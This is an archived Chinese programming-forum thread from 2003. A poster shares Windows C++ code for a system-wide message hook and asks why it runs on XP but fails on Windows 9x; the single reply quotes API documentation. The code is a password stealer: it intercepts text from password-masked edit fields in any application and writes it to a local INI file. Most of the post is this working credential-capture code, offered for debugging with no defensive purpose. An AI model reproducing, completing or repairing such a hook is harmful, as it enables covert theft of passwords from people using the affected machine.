📄 subject_35943.htm
字号:
<p>
序号:35943 发表者:xiangshifu 发表日期:2003-04-10 15:50:19
<br>主题:郁闷!这一份代码在XP下可以运行,但在9X下有问题!!
<br>内容:这是我写的一份钩子代码!!在XP下可以运行,但在9X下有问题!!那位仁兄提示提示!!<BR>CHookdllApp theApp;<BR>HHOOK hCallWndprocRetHook=NULL;<BR>CWPRETSTRUCT *pCwpRetstruct;<BR>DWORD dwStyle=0;<BR>/////////////////////////////////////////////////////////////////////////////<BR>// CHookdllApp initialization<BR><BR>LRESULT CALLBACK CallWndRetProc(int nCode, WPARAM wParam, LPARAM lParam) <BR>{ <BR> LRESULT RetVal=CallNextHookEx(hCallWndprocRetHook, nCode, wParam, lParam); <BR> if (nCode < 0) // do not process message <BR> return RetVal;<BR> pCwpRetstruct=(CWPRETSTRUCT *)lParam;<BR> if(WM_GETTEXT==pCwpRetstruct->message)<BR> {<BR> dwStyle=GetWindowLong(pCwpRetstruct->hwnd,GWL_STYLE);<BR> if(dwStyle&ES_PASSWORD)<BR> {<BR> //问题在这里,我始终不能把 pCwpstruct->lParam 的内容读出来!<BR> ::WritePrivateProfileString("fs","fsfg",(LPCTSTR)(pCwpRetstruct->lParam),"d:\\output\\d.ini");<BR> }<BR> }<BR> return RetVal;<BR>}<BR><BR>bool installhooker()<BR>{<BR> //安装消息钩子<BR> hCallWndprocRetHook = SetWindowsHookEx(WH_CALLWNDPROCRET,CallWndRetProc,theApp.m_hInstance,0);<BR> if(hCallWndprocRetHook==NULL)return 0;<BR> ::AfxMessageBox("fs");<BR> return 1;<BR>}
<br><a href="javascript:history.go(-1)">返回上页</a><br><a href=http://www.copathway.com/cndevforum/>访问论坛</a></p>
<hr size=1>
<blockquote><p>
<font color=red>答案被接受</font><br>回复者:FirstHoward 回复日期:2003-04-29 22:56:48
<br>内容:The WritePrivateProfileString function copies a string into the specified section of an initialization file. <BR><BR>Note This function is provided only for compatibility with 16-bit versions of Windows. Applications should store initialization information in the registry<BR>
<br>
<a href="javascript:history.go(-1)">返回上页</a><br><a href=http://www.copathway.com/cndevforum/>访问论坛</a></p></blockquote>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -